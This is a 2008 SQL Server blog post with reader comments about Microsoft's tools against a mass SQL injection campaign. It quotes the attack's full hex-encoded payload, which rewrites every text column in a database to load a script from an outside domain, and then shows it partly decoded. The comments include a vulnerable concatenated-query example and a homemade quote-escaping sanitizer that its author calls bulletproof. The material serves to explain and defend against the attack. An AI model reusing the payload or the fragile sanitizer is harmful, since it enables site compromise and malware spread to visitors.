THE SQL Server Blog Spot on the Web

Welcome to - The SQL Server blog spot on the web Sign in | |
in Search

Denis Gobo

Microsoft Releases Tools To Address SQL Injection Attacks

Remember the post by Aaron Bertrand titled Call a spade a spade! (SQL injection, or IIS vulnerability?)? Microsoft has released 3 tools that deal with this SQL injection.

These three tools include HP Scrawlr , UrlScan version 3.0 Beta , and a SQL Source Code Analysis Tool. Microsoft further recommends following the best practices found within advisory 954462.

Most of the sites affected had this submitted as part of the injection  

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

This is of course done so that you can't see the real SQL and then you can't check for DROP, UPDATE and other DDL and DML commands 

So what does this look like when you replace %20 with a space and exec with print?

DECLARE Table_Cursor

CURSOR FOR SELECT, FROM sysobjects a,syscolumns b

WHERE AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor




EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=></script>''')


END CLOSE Table_Cursor DEALLOCATE Table_Cursor  

Somehow I think this could have been written set based  :-)

The problem is of course that you should never ever run as dbo or even worse sa. 



Published Wednesday, June 25, 2008 9:58 AM by Denis Gobo
Filed under: ,



Jeff said:

My Question is simply, if I use .net Parameterized Queries, and I use stored procedures, what does it matter if someone submits the above to me. The only way a length check when sanitizing the data would pass is if this is going into like an NVARCHAR(MAX) and if it is then the parameters and the stored proc usage would just insert it or update it.

I dunno I guess I have never understood why this is such a big deal. please correct me if I am wrong but if you do something like

sql = "Select * from ATable Where something = '" + Request.QueryString["SomeValue"] + "'"

well you deserve to get hacked.

but if you do something like.

SqlCommand cmd = new SqlCommand("Select SpecificColumns FROM atable Where somecolumn = @somecolumnvalue", conn);

cmd.Parameters.Add("somecolumnvalue", SqlDbType.NVarChar).Value = Request.QueryString["SomeValue"];

Then well your pretty much covered, it would be even better if you just went against a stored proc using .net parameters and if your stored proc is solid too you really shouldn't have a problem.

So I guess whats with all the fuss? I find Cross site scripting and things along that line in an AJAX based world much bigger of a problem.

June 25, 2008 10:54 AM

AaronBertrand said:

The fuss is, there are obviously thousands of servers out there that were programmed using the first variety, and these sites are getting attacked.  Your statement is like saying, AIDS isn't a big deal, if you always wear a condom.  Which is great if you know what a condom is and have ready access to them.  

Education about this issue is very important.  Sites out there that are still vulnerable are that way because their owners don't know any better.  While some may "deserve" to get hacked because they know about the problem but are ignoring it, I would guess that is a small minority of cases.  

And I will be the first to admit, even the site I used to run ( had it somewhere in the interface, as the site was attacked a few weeks ago.  Of course some of that code hadn't been touched in about 10 years.

June 25, 2008 11:02 AM

Denis Gobo said:

99% of the people won’t learn unless they suffer first!!!!!


Forgetting to highlight the WHERE clause in an UPDATE statement and hitting F5

Not locking the plates on a bar when you are trying to lift too much weight, everything falls down and you look like a fool (or worse, you get injured)

No checking the gas gauge and you end up stranded on the highway

Failing to check that you indeed have a spare tire and that the tire is good before going on a long trip

Things like these will probably not happen to someone twice

All the people that got hacked and have to scramble now to fix it, I guarantee you that they won’t code like that in the future

June 25, 2008 11:14 AM

Adam Machanic said:

Aaron: Taking your metaphor a bit further, I think it's more akin to saying that AIDS isn't a big deal because you're a monk.  Lots of people think they're using "condoms" (parameterized queries, stored procedures) properly, but even in many cases where people think they're safe, they're often really not totally covered.  For example, one customer I worked with a while ago uses all stored procedures, but sets up the calls using concatenation.  Oops.

June 25, 2008 11:16 AM

Jeff said:

Hmmm, I guess, to me I have a ton of Classic Asp still running with not a worry from me. If you inherited a system well then I would be leary but for me things like this tend to get in the way or are set way too strict. They seem to be an all or nothing.

Take the setting  validateRequest="false" in the Web Config, now I have to set that to false because I have no problem with users submitting html. However I had to write a crap load of regular expression to sanitize against injecting Javascript, or Iframes or stylesheets etc, the bad things or things that could wreck the html like adding another body tag or something, but I have no problem at all with users submitting bold or lists or links.

Now using that as an example there are people that just validateRequest="false" because it causes them errors and then leave it at that. They are now wide open to other attacks. I see the same thing happening with things like URL scan. it basically checks if some key things are coming in the URL and then they block it. So what your going to have happen is a bunch of Operations guys in datacenters that are just trying to make things work shut it off.

So using the Aids example I just see a bunch of people that head off to get laid wearing condoms the thickness of a inner tube and then saying well it doesn't feel good so instead of getting a better condom they remove it all together. You have no idea how many times I have seen someone put their App Pool account in the Administrators group because they couldn't figure out the permissions to allow it to write a file somewhere. Sad but it happens.

June 25, 2008 11:27 AM

Jeff said:

I am in agreement with Denis. People learn from experience. I am betting has had a ton of sql queries double checked because of this problem and I am betting it never happens there again.

June 25, 2008 11:39 AM

Jeff said:

However you know then you have things like this,-Other-Sensitive-Data.aspx

And you have to just shake your head. I mean this is the type of person that really deserves this. They are hopefully going to learn from their mistake.

June 25, 2008 11:45 AM

AaronBertrand said:

Adam, glad you used "monk" and not "Catholic priest" because that analogy would have been a bit more questionable.  :-)

I suppose for a lot of people this issue is kind of like identity theft - out of sight, out of mind... until it happens to them.  Going back to my issue, this was code written long before SQL injection was a well-known quantity, and when the issue proliferated, the code was no longer under my control.  So I have peripheral but not direct insight into how much prevention was done before and after the attack.

June 25, 2008 9:40 PM

AaronBertrand said:

Also wanted to share this link from Buck, for anybody who didn't get it directly from the source:

He talks about the three tools you mention in a bit more detail, and points to a few more blog posts about the issue.

June 26, 2008 8:07 AM

Denis Gobo said:

Cross Site Scripting (XSS) cheat sheet

some amazing stuff here

June 26, 2008 9:48 AM

Brent Jenkins said:

I have a situation where I must use embedded sql only.

That means NO store procedures, parameterized queries, etc are allowed - period.

In other words, my hands are tied!

Anyhow, I wrote this routine to prevent SQL Injection.

I think this routine is bullet proof.

Can anybody break it?

Function getSafeValue(ByVal userInput As String) As String

 userInput = Trim(userInput)

 userInput = userInput.Replace("'", "''")

 userInput = userInput.Replace("""", "''")

 Return IIf(userInput = "", "NULL", "'" & userInput & "'")

End Function

September 22, 2008 4:50 PM
New Comments to this post are disabled

About Denis Gobo

I was born in Croatia in 1970, when I was one I moved to Amsterdam (and yes Ajax is THE team in Holland) and finally in 1993 I came to the US. I have lived in New York City for a bunch of years and currently live in Princeton, New Jersey with my wife and 3 kids. I work for Dow Jones as a Database architect in the indexes department, one drawback: since our data goes back all the way to May 1896 I cannot use smalldates ;-( I have been working with SQL server since version 6.5 and compared to all the other bloggers here I am a n00b. Some of you might know me from or even from some of the newsgroups where I go by the name Denis the SQL Menace If you are a Tek-Tips user then you might know me by the name SQLDenis, I am one of the guys answering SQL Questions in the SQL Programming forum.

This Blog


Privacy Statement